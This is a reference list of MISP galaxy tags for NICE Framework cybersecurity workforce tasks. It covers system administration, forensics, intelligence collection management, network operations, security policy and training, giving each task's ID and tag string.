Troubleshoot systems and servers - T1502

Troubleshoot systems and servers

The tag is: *misp-galaxy:nice-framework-tasks="Troubleshoot systems and servers - T1502"*

Perform periodic system maintenance - T1512

Perform periodic system maintenance

The tag is: *misp-galaxy:nice-framework-tasks="Perform periodic system maintenance - T1512"*

Develop local network usage policies and procedures - T1530

Develop local network usage policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop local network usage policies and procedures - T1530"*

Determine compliance with local network usage policies and procedures - T1531

Determine compliance with local network usage policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Determine compliance with local network usage policies and procedures - T1531"*

Administer system and network user accounts - T1569

Administer system and network user accounts

The tag is: *misp-galaxy:nice-framework-tasks="Administer system and network user accounts - T1569"*

Establish system and network rights processes and procedures - T1570

Establish system and network rights processes and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Establish system and network rights processes and procedures - T1570"*

Establish systems and equipment access protocols - T1571

Establish systems and equipment access protocols

The tag is: *misp-galaxy:nice-framework-tasks="Establish systems and equipment access protocols - T1571"*

Monitor system and server configurations - T1578

Monitor system and server configurations

The tag is: *misp-galaxy:nice-framework-tasks="Monitor system and server configurations - T1578"*

Maintain system and server configurations - T1579

Maintain system and server configurations

The tag is: *misp-galaxy:nice-framework-tasks="Maintain system and server configurations - T1579"*

Diagnose faulty system and server hardware - T1588

Diagnose faulty system and server hardware

The tag is: *misp-galaxy:nice-framework-tasks="Diagnose faulty system and server hardware - T1588"*

Repair faulty system and server hardware - T1589

Repair faulty system and server hardware

The tag is: *misp-galaxy:nice-framework-tasks="Repair faulty system and server hardware - T1589"*

Develop data standards, policies, and procedures - T0068

Develop data standards, policies, and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop data standards, policies, and procedures - T0068"*

Collect metrics and trending data - T0349

Collect metrics and trending data

The tag is: *misp-galaxy:nice-framework-tasks="Collect metrics and trending data - T0349"*

Program custom algorithms - T0383

Program custom algorithms

The tag is: *misp-galaxy:nice-framework-tasks="Program custom algorithms - T0383"*

Develop and implement data mining and data warehousing programs - T0460

Develop and implement data mining and data warehousing programs

The tag is: *misp-galaxy:nice-framework-tasks="Develop and implement data mining and data warehousing programs - T0460"*

Determine data requirements - T1063

Determine data requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine data requirements - T1063"*

Determine data specifications - T1064

Determine data specifications

The tag is: *misp-galaxy:nice-framework-tasks="Determine data specifications - T1064"*

Determine data capacity requirements - T1065

Determine data capacity requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine data capacity requirements - T1065"*

Plan for anticipated changes in data capacity requirements - T1066

Plan for anticipated changes in data capacity requirements

The tag is: *misp-galaxy:nice-framework-tasks="Plan for anticipated changes in data capacity requirements - T1066"*

Recommend new database technologies and architectures - T1297

Recommend new database technologies and architectures

The tag is: *misp-galaxy:nice-framework-tasks="Recommend new database technologies and architectures - T1297"*

Assess the validity of source data - T1440

Assess the validity of source data

The tag is: *misp-galaxy:nice-framework-tasks="Assess the validity of source data - T1440"*

Conduct hypothesis testing - T1445

Conduct hypothesis testing

The tag is: *misp-galaxy:nice-framework-tasks="Conduct hypothesis testing - T1445"*

Develop data gathering processes - T1458

Develop data gathering processes

The tag is: *misp-galaxy:nice-framework-tasks="Develop data gathering processes - T1458"*

Process crime scenes - T0193

Process crime scenes

The tag is: *misp-galaxy:nice-framework-tasks="Process crime scenes - T0193"*

Conduct victim and witness interviews - T1094

Conduct victim and witness interviews

The tag is: *misp-galaxy:nice-framework-tasks="Conduct victim and witness interviews - T1094"*

Conduct suspect interrogations - T1095

Conduct suspect interrogations

The tag is: *misp-galaxy:nice-framework-tasks="Conduct suspect interrogations - T1095"*

Investigate suspicious activity and alleged digital crimes - T1137

Investigate suspicious activity and alleged digital crimes

The tag is: *misp-galaxy:nice-framework-tasks="Investigate suspicious activity and alleged digital crimes - T1137"*

Establish internal and external cross-team relationships - T1187

Establish internal and external cross-team relationships

The tag is: *misp-galaxy:nice-framework-tasks="Establish internal and external cross-team relationships - T1187"*

Conduct analysis of computer network attacks - T1192

Conduct analysis of computer network attacks

The tag is: *misp-galaxy:nice-framework-tasks="Conduct analysis of computer network attacks - T1192"*

Determine if security incidents are indicative of a violation of law that requires specific legal action - T1196

Determine if security incidents are indicative of a violation of law that requires specific legal action

The tag is: *misp-galaxy:nice-framework-tasks="Determine if security incidents are indicative of a violation of law that requires specific legal action - T1196"*

Identify data or intelligence of evidentiary value - T1198

Identify data or intelligence of evidentiary value

The tag is: *misp-galaxy:nice-framework-tasks="Identify data or intelligence of evidentiary value - T1198"*

Identify elements of proof of cybersecurity crimes - T1200

Identify elements of proof of cybersecurity crimes

The tag is: *misp-galaxy:nice-framework-tasks="Identify elements of proof of cybersecurity crimes - T1200"*

Collect documentary or physical evidence of cyber intrusion incidents, investigations, and operations - T1207

Collect documentary or physical evidence of cyber intrusion incidents, investigations, and operations

The tag is: *misp-galaxy:nice-framework-tasks="Collect documentary or physical evidence of cyber intrusion incidents, investigations, and operations - T1207"*

Advise trial counsel as technical expert - T1477

Advise trial counsel as technical expert

The tag is: *misp-galaxy:nice-framework-tasks="Advise trial counsel as technical expert - T1477"*

Analyze cybersecurity threats for counter intelligence or criminal activity - T1505

Analyze cybersecurity threats for counter intelligence or criminal activity

The tag is: *misp-galaxy:nice-framework-tasks="Analyze cybersecurity threats for counter intelligence or criminal activity - T1505"*

Identify responsible parties for intrusions and other crimes - T1526

Identify responsible parties for intrusions and other crimes

The tag is: *misp-galaxy:nice-framework-tasks="Identify responsible parties for intrusions and other crimes - T1526"*

Document original condition of digital evidence - T1542

Document original condition of digital evidence

The tag is: *misp-galaxy:nice-framework-tasks="Document original condition of digital evidence - T1542"*

Prosecute cybercrimes and fraud committed against people and property - T1551

Prosecute cybercrimes and fraud committed against people and property

The tag is: *misp-galaxy:nice-framework-tasks="Prosecute cybercrimes and fraud committed against people and property - T1551"*

Prepare investigative reports - T1600

Prepare investigative reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare investigative reports - T1600"*

Detect concealed data - T1516

Detect concealed data

The tag is: *misp-galaxy:nice-framework-tasks="Detect concealed data - T1516"*

Answer requests for information - T0569

Answer requests for information

The tag is: *misp-galaxy:nice-framework-tasks="Answer requests for information - T0569"*

Facilitate continuously updated intelligence, surveillance, and visualization input to common operational picture managers - T0698

Facilitate continuously updated intelligence, surveillance, and visualization input to common operational picture managers

The tag is: *misp-galaxy:nice-framework-tasks="Facilitate continuously updated intelligence, surveillance, and visualization input to common operational picture managers - T0698"*

Monitor open source websites for hostile content directed towards organizational or partner interests - T0751

Monitor open source websites for hostile content directed towards organizational or partner interests

The tag is: *misp-galaxy:nice-framework-tasks="Monitor open source websites for hostile content directed towards organizational or partner interests - T0751"*

Identify cyber threat tactics and methodologies - T0845

Identify cyber threat tactics and methodologies

The tag is: *misp-galaxy:nice-framework-tasks="Identify cyber threat tactics and methodologies - T0845"*

Provide intelligence analysis and support - T1798

Provide intelligence analysis and support

The tag is: *misp-galaxy:nice-framework-tasks="Provide intelligence analysis and support - T1798"*

Prepare network intrusion reports - T1804

Prepare network intrusion reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare network intrusion reports - T1804"*

Assess performance of collection assets against prescribed specifications - T0578

Assess performance of collection assets against prescribed specifications

The tag is: *misp-galaxy:nice-framework-tasks="Assess performance of collection assets against prescribed specifications - T0578"*

Determine course of action for addressing changes to objectives, guidance, and operational environment - T0645

Determine course of action for addressing changes to objectives, guidance, and operational environment

The tag is: *misp-galaxy:nice-framework-tasks="Determine course of action for addressing changes to objectives, guidance, and operational environment - T0645"*

Identify potential collection disciplines for application against priority information requirements - T0723

Identify potential collection disciplines for application against priority information requirements

The tag is: *misp-galaxy:nice-framework-tasks="Identify potential collection disciplines for application against priority information requirements - T0723"*

Link priority collection requirements to optimal assets and resources - T0737

Link priority collection requirements to optimal assets and resources

The tag is: *misp-galaxy:nice-framework-tasks="Link priority collection requirements to optimal assets and resources - T0737"*

Address identified issues in collection operations and collection plans - T1630

Address identified issues in collection operations and collection plans

The tag is: *misp-galaxy:nice-framework-tasks="Address identified issues in collection operations and collection plans - T1630"*

Synchronize collections with operational requirements - T1631

Synchronize collections with operational requirements

The tag is: *misp-galaxy:nice-framework-tasks="Synchronize collections with operational requirements - T1631"*

Determine if collection products and services meet requirements - T1632

Determine if collection products and services meet requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if collection products and services meet requirements - T1632"*

Determine impacts on collection management operational structure and requirements - T1634

Determine impacts on collection management operational structure and requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine impacts on collection management operational structure and requirements - T1634"*

Develop intelligence collection management processes - T1636

Develop intelligence collection management processes

The tag is: *misp-galaxy:nice-framework-tasks="Develop intelligence collection management processes - T1636"*

Compare allocated and available assets to collection demand - T1659

Compare allocated and available assets to collection demand

The tag is: *misp-galaxy:nice-framework-tasks="Compare allocated and available assets to collection demand - T1659"*

Prepare intelligence collection reports - T1660

Prepare intelligence collection reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare intelligence collection reports - T1660"*

Coordinate resource allocation of collection assets with collection discipline leads - T1681

Coordinate resource allocation of collection assets with collection discipline leads

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate resource allocation of collection assets with collection discipline leads - T1681"*

Prepare collection plan documentation - T1682

Prepare collection plan documentation

The tag is: *misp-galaxy:nice-framework-tasks="Prepare collection plan documentation - T1682"*

Inventory existing collection management webpage databases, libraries, and storehouses - T1693

Inventory existing collection management webpage databases, libraries, and storehouses

The tag is: *misp-galaxy:nice-framework-tasks="Inventory existing collection management webpage databases, libraries, and storehouses - T1693"*

Determine organizations with collection authority over predefined accessible collection assets - T1695

Determine organizations with collection authority over predefined accessible collection assets

The tag is: *misp-galaxy:nice-framework-tasks="Determine organizations with collection authority over predefined accessible collection assets - T1695"*

Develop intelligence collection report analysis processes - T1696

Develop intelligence collection report analysis processes

The tag is: *misp-galaxy:nice-framework-tasks="Develop intelligence collection report analysis processes - T1696"*

Prepare collections operation instructions - T1703

Prepare collections operation instructions

The tag is: *misp-galaxy:nice-framework-tasks="Prepare collections operation instructions - T1703"*

Allocate collection assets - T1706

Allocate collection assets

The tag is: *misp-galaxy:nice-framework-tasks="Allocate collection assets - T1706"*

Disseminate tasking messages - T1723

Disseminate tasking messages

The tag is: *misp-galaxy:nice-framework-tasks="Disseminate tasking messages - T1723"*

Disseminate collection plans - T1724

Disseminate collection plans

The tag is: *misp-galaxy:nice-framework-tasks="Disseminate collection plans - T1724"*

Select collaboration platforms - T1742

Select collaboration platforms

The tag is: *misp-galaxy:nice-framework-tasks="Select collaboration platforms - T1742"*

Develop coordination requirements and procedures - T1744

Develop coordination requirements and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop coordination requirements and procedures - T1744"*

Determine effectiveness of processing, exploitation, and dissemination architecture - T1746

Determine effectiveness of processing, exploitation, and dissemination architecture

The tag is: *misp-galaxy:nice-framework-tasks="Determine effectiveness of processing, exploitation, and dissemination architecture - T1746"*

Identify collection management risks - T1748

Identify collection management risks

The tag is: *misp-galaxy:nice-framework-tasks="Identify collection management risks - T1748"*

Mitigate collection management risks - T1749

Mitigate collection management risks

The tag is: *misp-galaxy:nice-framework-tasks="Mitigate collection management risks - T1749"*

Determine when reallocated collection efforts are completed - T1769

Determine when reallocated collection efforts are completed

The tag is: *misp-galaxy:nice-framework-tasks="Determine when reallocated collection efforts are completed - T1769"*

Determine effectiveness of the processing, exploitation, and dissemination architecture - T1771

Determine effectiveness of the processing, exploitation, and dissemination architecture

The tag is: *misp-galaxy:nice-framework-tasks="Determine effectiveness of the processing, exploitation, and dissemination architecture - T1771"*

Identify collection operational management process risks - T1773

Identify collection operational management process risks

The tag is: *misp-galaxy:nice-framework-tasks="Identify collection operational management process risks - T1773"*

Prioritize collection requirements for collection platforms - T1783

Prioritize collection requirements for collection platforms

The tag is: *misp-galaxy:nice-framework-tasks="Prioritize collection requirements for collection platforms - T1783"*

Reassign collection assets and resources in response to dynamic operational situations - T1787

Reassign collection assets and resources in response to dynamic operational situations

The tag is: *misp-galaxy:nice-framework-tasks="Reassign collection assets and resources in response to dynamic operational situations - T1787"*

Request discipline-specific processing, exploitation, and dissemination information - T1805

Request discipline-specific processing, exploitation, and dissemination information

The tag is: *misp-galaxy:nice-framework-tasks="Request discipline-specific processing, exploitation, and dissemination information - T1805"*

Determine intelligence collection asset capabilities - T1807

Determine intelligence collection asset capabilities

The tag is: *misp-galaxy:nice-framework-tasks="Determine intelligence collection asset capabilities - T1807"*

Determine accuracy of intelligence collection guidance - T1808

Determine accuracy of intelligence collection guidance

The tag is: *misp-galaxy:nice-framework-tasks="Determine accuracy of intelligence collection guidance - T1808"*

Update collection plans - T1809

Update collection plans

The tag is: *misp-galaxy:nice-framework-tasks="Update collection plans - T1809"*

Update collection matrices - T1813

Update collection matrices

The tag is: *misp-galaxy:nice-framework-tasks="Update collection matrices - T1813"*

Recommend changes to collection plans - T1818

Recommend changes to collection plans

The tag is: *misp-galaxy:nice-framework-tasks="Recommend changes to collection plans - T1818"*

Recommend changes to operational environment - T1819

Recommend changes to operational environment

The tag is: *misp-galaxy:nice-framework-tasks="Recommend changes to operational environment - T1819"*

Specify discipline-specific taskings - T1820

Specify discipline-specific taskings

The tag is: *misp-galaxy:nice-framework-tasks="Specify discipline-specific taskings - T1820"*

Synchronize the integrated employment of organic and partner intelligence collection assets - T1828

Synchronize the integrated employment of organic and partner intelligence collection assets

The tag is: *misp-galaxy:nice-framework-tasks="Synchronize the integrated employment of organic and partner intelligence collection assets - T1828"*

Diagnose network connectivity problems - T0081

Diagnose network connectivity problems

The tag is: *misp-galaxy:nice-framework-tasks="Diagnose network connectivity problems - T0081"*

Install or replace network hubs, routers, and switches - T0126

Install or replace network hubs, routers, and switches

The tag is: *misp-galaxy:nice-framework-tasks="Install or replace network hubs, routers, and switches - T0126"*

Integrate new systems into existing network architecture - T0129

Integrate new systems into existing network architecture

The tag is: *misp-galaxy:nice-framework-tasks="Integrate new systems into existing network architecture - T0129"*

Monitor network capacity and performance - T0153

Monitor network capacity and performance

The tag is: *misp-galaxy:nice-framework-tasks="Monitor network capacity and performance - T0153"*

Improve network security practices - T1050

Improve network security practices

The tag is: *misp-galaxy:nice-framework-tasks="Improve network security practices - T1050"*

Develop network backup and recovery procedures - T1143

Develop network backup and recovery procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop network backup and recovery procedures - T1143"*

Implement network backup and recovery procedures - T1144

Implement network backup and recovery procedures

The tag is: *misp-galaxy:nice-framework-tasks="Implement network backup and recovery procedures - T1144"*

Patch network vulnerabilities - T1248

Patch network vulnerabilities

The tag is: *misp-galaxy:nice-framework-tasks="Patch network vulnerabilities - T1248"*

Test network infrastructure, including software and hardware devices - T1313

Test network infrastructure, including software and hardware devices

The tag is: *misp-galaxy:nice-framework-tasks="Test network infrastructure, including software and hardware devices - T1313"*

Maintain network infrastructure, including software and hardware devices - T1314

Maintain network infrastructure, including software and hardware devices

The tag is: *misp-galaxy:nice-framework-tasks="Maintain network infrastructure, including software and hardware devices - T1314"*

Assess the effectiveness of security controls - T0309

Assess the effectiveness of security controls

The tag is: *misp-galaxy:nice-framework-tasks="Assess the effectiveness of security controls - T0309"*

Implement system cybersecurity policies - T1076

Implement system cybersecurity policies

The tag is: *misp-galaxy:nice-framework-tasks="Implement system cybersecurity policies - T1076"*

Determine if systems security operations and maintenance activities are property documented and updated - T1172

Determine if systems security operations and maintenance activities are property documented and updated

The tag is: *misp-galaxy:nice-framework-tasks="Determine if systems security operations and maintenance activities are property documented and updated - T1172"*

Determine that the application of security patches for commercial products meets timeline requirements - T1173

Determine that the application of security patches for commercial products meets timeline requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine that the application of security patches for commercial products meets timeline requirements - T1173"*

Document commercial product timeline requirements dictated by the management authority for intended operational environments - T1174

Document commercial product timeline requirements dictated by the management authority for intended operational environments

The tag is: *misp-galaxy:nice-framework-tasks="Document commercial product timeline requirements dictated by the management authority for intended operational environments - T1174"*

Implement cybersecurity countermeasures for systems and applications - T1212

Implement cybersecurity countermeasures for systems and applications

The tag is: *misp-galaxy:nice-framework-tasks="Implement cybersecurity countermeasures for systems and applications - T1212"*

Integrate automated capabilities for updating or patching system software - T1218

Integrate automated capabilities for updating or patching system software

The tag is: *misp-galaxy:nice-framework-tasks="Integrate automated capabilities for updating or patching system software - T1218"*

Develop processes and procedures for manual updating and patching of system software - T1219

Develop processes and procedures for manual updating and patching of system software

The tag is: *misp-galaxy:nice-framework-tasks="Develop processes and procedures for manual updating and patching of system software - T1219"*

Document systems security activities - T1287

Document systems security activities

The tag is: *misp-galaxy:nice-framework-tasks="Document systems security activities - T1287"*

Update security documentation to reflect current application and system security design features - T1327

Update security documentation to reflect current application and system security design features

The tag is: *misp-galaxy:nice-framework-tasks="Update security documentation to reflect current application and system security design features - T1327"*

Determine effectiveness of configuration management processes - T1437

Determine effectiveness of configuration management processes

The tag is: *misp-galaxy:nice-framework-tasks="Determine effectiveness of configuration management processes - T1437"*

Develop procedures for system operations transfer to alternate sites - T1532

Develop procedures for system operations transfer to alternate sites

The tag is: *misp-galaxy:nice-framework-tasks="Develop procedures for system operations transfer to alternate sites - T1532"*

Test failover for system operations transfer to alternative sites - T1533

Test failover for system operations transfer to alternative sites

The tag is: *misp-galaxy:nice-framework-tasks="Test failover for system operations transfer to alternative sites - T1533"*

Execute disaster recovery and continuity of operations processes - T1550

Execute disaster recovery and continuity of operations processes

The tag is: *misp-galaxy:nice-framework-tasks="Execute disaster recovery and continuity of operations processes - T1550"*

Implement security measures for systems and system components - T1557

Implement security measures for systems and system components

The tag is: *misp-galaxy:nice-framework-tasks="Implement security measures for systems and system components - T1557"*

Resolve vulnerabilities in systems and system components - T1559

Resolve vulnerabilities in systems and system components

The tag is: *misp-galaxy:nice-framework-tasks="Resolve vulnerabilities in systems and system components - T1559"*

Mitigate risks in systems and system components - T1560

Mitigate risks in systems and system components

The tag is: *misp-galaxy:nice-framework-tasks="Mitigate risks in systems and system components - T1560"*

Implement cross-domain solutions - T1568

Implement cross-domain solutions

The tag is: *misp-galaxy:nice-framework-tasks="Implement cross-domain solutions - T1568"*

Develop risk acceptance documentation for senior leaders and authorized representatives - T1574

Develop risk acceptance documentation for senior leaders and authorized representatives

The tag is: *misp-galaxy:nice-framework-tasks="Develop risk acceptance documentation for senior leaders and authorized representatives - T1574"*

Troubleshoot system hardware and software - T0237

Troubleshoot system hardware and software

The tag is: *misp-galaxy:nice-framework-tasks="Troubleshoot system hardware and software - T0237"*

Implement organizational security policies and procedures - T1024

Implement organizational security policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Implement organizational security policies and procedures - T1024"*

Identify emerging incident trends - T1405

Identify emerging incident trends

The tag is: *misp-galaxy:nice-framework-tasks="Identify emerging incident trends - T1405"*

Develop technical training curriculum and resources - T1411

Develop technical training curriculum and resources

The tag is: *misp-galaxy:nice-framework-tasks="Develop technical training curriculum and resources - T1411"*

Deliver technical training to customers - T1412

Deliver technical training to customers

The tag is: *misp-galaxy:nice-framework-tasks="Deliver technical training to customers - T1412"*

Maintain incident tracking and solution databases - T1427

Maintain incident tracking and solution databases

The tag is: *misp-galaxy:nice-framework-tasks="Maintain incident tracking and solution databases - T1427"*

Resolve customer-reported system incidents and events - T1538

Resolve customer-reported system incidents and events

The tag is: *misp-galaxy:nice-framework-tasks="Resolve customer-reported system incidents and events - T1538"*

Recommend enhancements to software and hardware solutions - T1554

Recommend enhancements to software and hardware solutions

The tag is: *misp-galaxy:nice-framework-tasks="Recommend enhancements to software and hardware solutions - T1554"*

Install system hardware, software, and peripheral equipment - T1566

Install system hardware, software, and peripheral equipment

The tag is: *misp-galaxy:nice-framework-tasks="Install system hardware, software, and peripheral equipment - T1566"*

Configure system hardware, software, and peripheral equipment - T1567

Configure system hardware, software, and peripheral equipment

The tag is: *misp-galaxy:nice-framework-tasks="Configure system hardware, software, and peripheral equipment - T1567"*

Inventory technology resources - T1572

Inventory technology resources

The tag is: *misp-galaxy:nice-framework-tasks="Inventory technology resources - T1572"*

Monitor client-level computer system performance - T1580

Monitor client-level computer system performance

The tag is: *misp-galaxy:nice-framework-tasks="Monitor client-level computer system performance - T1580"*

Create client-level computer system performance reports - T1581

Create client-level computer system performance reports

The tag is: *misp-galaxy:nice-framework-tasks="Create client-level computer system performance reports - T1581"*

Develop intelligence collection requirements - T1739

Develop intelligence collection requirements

The tag is: *misp-galaxy:nice-framework-tasks="Develop intelligence collection requirements - T1739"*

Designate priority information requirements - T1741

Designate priority information requirements

The tag is: *misp-galaxy:nice-framework-tasks="Designate priority information requirements - T1741"*

Identify roles and responsibilities for appointed Communications Security (COMSEC) personnel - T1015

Identify roles and responsibilities for appointed Communications Security (COMSEC) personnel

The tag is: *misp-galaxy:nice-framework-tasks="Identify roles and responsibilities for appointed Communications Security (COMSEC) personnel - T1015"*

Identify Communications Security (COMSEC) incidents - T1016

Identify Communications Security (COMSEC) incidents

The tag is: *misp-galaxy:nice-framework-tasks="Identify Communications Security (COMSEC) incidents - T1016"*

Report Communications Security (COMSEC) incidents - T1017

Report Communications Security (COMSEC) incidents

The tag is: *misp-galaxy:nice-framework-tasks="Report Communications Security (COMSEC) incidents - T1017"*

Identify in-process accounting requirements for Communications Security (COMSEC) - T1018

Identify in-process accounting requirements for Communications Security (COMSEC)

The tag is: *misp-galaxy:nice-framework-tasks="Identify in-process accounting requirements for Communications Security (COMSEC) - T1018"*

Advise senior management on risk levels and security posture - T1058

Advise senior management on risk levels and security posture

The tag is: *misp-galaxy:nice-framework-tasks="Advise senior management on risk levels and security posture - T1058"*

Perform cost/benefit analyses of cybersecurity programs, policies, processes, systems, and elements - T1059

Perform cost/benefit analyses of cybersecurity programs, policies, processes, systems, and elements

The tag is: *misp-galaxy:nice-framework-tasks="Perform cost/benefit analyses of cybersecurity programs, policies, processes, systems, and elements - T1059"*

Advise senior management on organizational cybersecurity efforts - T1060

Advise senior management on organizational cybersecurity efforts

The tag is: *misp-galaxy:nice-framework-tasks="Advise senior management on organizational cybersecurity efforts - T1060"*

Communicate the value of cybersecurity to organizational stakeholders - T1088

Communicate the value of cybersecurity to organizational stakeholders

The tag is: *misp-galaxy:nice-framework-tasks="Communicate the value of cybersecurity to organizational stakeholders - T1088"*

Develop the enterprise continuity of operations strategy - T1113

Develop the enterprise continuity of operations strategy

The tag is: *misp-galaxy:nice-framework-tasks="Develop the enterprise continuity of operations strategy - T1113"*

Establish the enterprise continuity of operations program - T1114

Establish the enterprise continuity of operations program

The tag is: *misp-galaxy:nice-framework-tasks="Establish the enterprise continuity of operations program - T1114"*

Determine if security improvement actions are evaluated, validated, and implemented as required - T1178

Determine if security improvement actions are evaluated, validated, and implemented as required

The tag is: *misp-galaxy:nice-framework-tasks="Determine if security improvement actions are evaluated, validated, and implemented as required - T1178"*

Establish enterprise information security architecture - T1186

Establish enterprise information security architecture

The tag is: *misp-galaxy:nice-framework-tasks="Establish enterprise information security architecture - T1186"*

Report cybersecurity incidents - T1300

Report cybersecurity incidents

The tag is: *misp-galaxy:nice-framework-tasks="Report cybersecurity incidents - T1300"*

Implement protective or corrective measures when a cybersecurity incident or vulnerability is discovered - T1310

Implement protective or corrective measures when a cybersecurity incident or vulnerability is discovered

The tag is: *misp-galaxy:nice-framework-tasks="Implement protective or corrective measures when a cybersecurity incident or vulnerability is discovered - T1310"*

Serve on agency and interagency policy boards - T0226

Serve on agency and interagency policy boards

The tag is: *misp-galaxy:nice-framework-tasks="Serve on agency and interagency policy boards - T0226"*

Research new vulnerabilities in emerging technologies - T1028

Research new vulnerabilities in emerging technologies

The tag is: *misp-galaxy:nice-framework-tasks="Research new vulnerabilities in emerging technologies - T1028"*

Develop cybersecurity implementation policies and guidelines - T1158

Develop cybersecurity implementation policies and guidelines

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity implementation policies and guidelines - T1158"*

Establish stakeholder communication channels - T1184

Establish stakeholder communication channels

The tag is: *misp-galaxy:nice-framework-tasks="Establish stakeholder communication channels - T1184"*

Maintain stakeholder communication channels - T1185

Maintain stakeholder communication channels

The tag is: *misp-galaxy:nice-framework-tasks="Maintain stakeholder communication channels - T1185"*

Conduct technology program and project audits - T1306

Conduct technology program and project audits

The tag is: *misp-galaxy:nice-framework-tasks="Conduct technology program and project audits - T1306"*

Promote cybersecurity awareness to management - T1335

Promote cybersecurity awareness to management

The tag is: *misp-galaxy:nice-framework-tasks="Promote cybersecurity awareness to management - T1335"*

Verify the inclusion of sound cybersecurity principles in the organization’s vision and goals - T1336

Verify the inclusion of sound cybersecurity principles in the organization’s vision and goals

The tag is: *misp-galaxy:nice-framework-tasks="Verify the inclusion of sound cybersecurity principles in the organization’s vision and goals - T1336"*

Determine if cybersecurity requirements have been successfully implemented - T1357

Determine if cybersecurity requirements have been successfully implemented

The tag is: *misp-galaxy:nice-framework-tasks="Determine if cybersecurity requirements have been successfully implemented - T1357"*

Determine the effectiveness of organizational cybersecurity policies and procedures - T1358

Determine the effectiveness of organizational cybersecurity policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Determine the effectiveness of organizational cybersecurity policies and procedures - T1358"*

Develop independent cybersecurity audit processes for application software, networks, and systems - T1394

Develop independent cybersecurity audit processes for application software, networks, and systems

The tag is: *misp-galaxy:nice-framework-tasks="Develop independent cybersecurity audit processes for application software, networks, and systems - T1394"*

Implement independent cybersecurity audit processes for application software, networks, and systems - T1395

Implement independent cybersecurity audit processes for application software, networks, and systems

The tag is: *misp-galaxy:nice-framework-tasks="Implement independent cybersecurity audit processes for application software, networks, and systems - T1395"*

Oversee independent cybersecurity audits - T1396

Oversee independent cybersecurity audits

The tag is: *misp-galaxy:nice-framework-tasks="Oversee independent cybersecurity audits - T1396"*

Determine if research and design processes and procedures are in compliance with cybersecurity requirements - T1397

Determine if research and design processes and procedures are in compliance with cybersecurity requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if research and design processes and procedures are in compliance with cybersecurity requirements - T1397"*

Determine if research and design processes and procedures are accurately followed by cybersecurity staff when performing their day-to-day activities - T1398

Determine if research and design processes and procedures are accurately followed by cybersecurity staff when performing their day-to-day activities

The tag is: *misp-galaxy:nice-framework-tasks="Determine if research and design processes and procedures are accurately followed by cybersecurity staff when performing their day-to-day activities - T1398"*

Acquire adequate funding for cybersecurity training - T1436

Acquire adequate funding for cybersecurity training

The tag is: *misp-galaxy:nice-framework-tasks="Acquire adequate funding for cybersecurity training - T1436"*

Determine if cybersecurity workforce management policies and procedures comply with legal and organizational requirements - T1464

Determine if cybersecurity workforce management policies and procedures comply with legal and organizational requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if cybersecurity workforce management policies and procedures comply with legal and organizational requirements - T1464"*

Promote awareness of cybersecurity policy and strategy among management - T1476

Promote awareness of cybersecurity policy and strategy among management

The tag is: *misp-galaxy:nice-framework-tasks="Promote awareness of cybersecurity policy and strategy among management - T1476"*

Conduct cybersecurity workforce assessments - T1482

Conduct cybersecurity workforce assessments

The tag is: *misp-galaxy:nice-framework-tasks="Conduct cybersecurity workforce assessments - T1482"*

Integrate laws and regulations into policy - T1492

Integrate laws and regulations into policy

The tag is: *misp-galaxy:nice-framework-tasks="Integrate laws and regulations into policy - T1492"*

Develop organizational cybersecurity strategy - T1518

Develop organizational cybersecurity strategy

The tag is: *misp-galaxy:nice-framework-tasks="Develop organizational cybersecurity strategy - T1518"*

Develop cybersecurity policies and procedures - T1543

Develop cybersecurity policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity policies and procedures - T1543"*

Advise management, staff, and users on cybersecurity policy - T1605

Advise management, staff, and users on cybersecurity policy

The tag is: *misp-galaxy:nice-framework-tasks="Advise management, staff, and users on cybersecurity policy - T1605"*

Identify organizational policy stakeholders - T0116

Identify organizational policy stakeholders

The tag is: *misp-galaxy:nice-framework-tasks="Identify organizational policy stakeholders - T0116"*

Correlate training and learning to business or mission requirements - T0437

Correlate training and learning to business or mission requirements

The tag is: *misp-galaxy:nice-framework-tasks="Correlate training and learning to business or mission requirements - T0437"*

Implement organizational training and education policies and procedures - T1025

Implement organizational training and education policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Implement organizational training and education policies and procedures - T1025"*

Conduct learning needs assessments - T1446

Conduct learning needs assessments

The tag is: *misp-galaxy:nice-framework-tasks="Conduct learning needs assessments - T1446"*

Identify training requirements - T1447

Identify training requirements

The tag is: *misp-galaxy:nice-framework-tasks="Identify training requirements - T1447"*

Determine if qualification standards meet organizational functional requirements and comply with industry standards - T1449

Determine if qualification standards meet organizational functional requirements and comply with industry standards

The tag is: *misp-galaxy:nice-framework-tasks="Determine if qualification standards meet organizational functional requirements and comply with industry standards - T1449"*

Allocate and distribute human capital assets - T1450

Allocate and distribute human capital assets

The tag is: *misp-galaxy:nice-framework-tasks="Allocate and distribute human capital assets - T1450"*

Develop standardized cybersecurity position descriptions using the NICE Framework - T1459

Develop standardized cybersecurity position descriptions using the NICE Framework

The tag is: *misp-galaxy:nice-framework-tasks="Develop standardized cybersecurity position descriptions using the NICE Framework - T1459"*

Develop recruiting, hiring, and retention processes - T1460

Develop recruiting, hiring, and retention processes

The tag is: *misp-galaxy:nice-framework-tasks="Develop recruiting, hiring, and retention processes - T1460"*

Determine cybersecurity position requirements - T1461

Determine cybersecurity position requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine cybersecurity position requirements - T1461"*

Develop cybersecurity training policies and procedures - T1462

Develop cybersecurity training policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity training policies and procedures - T1462"*

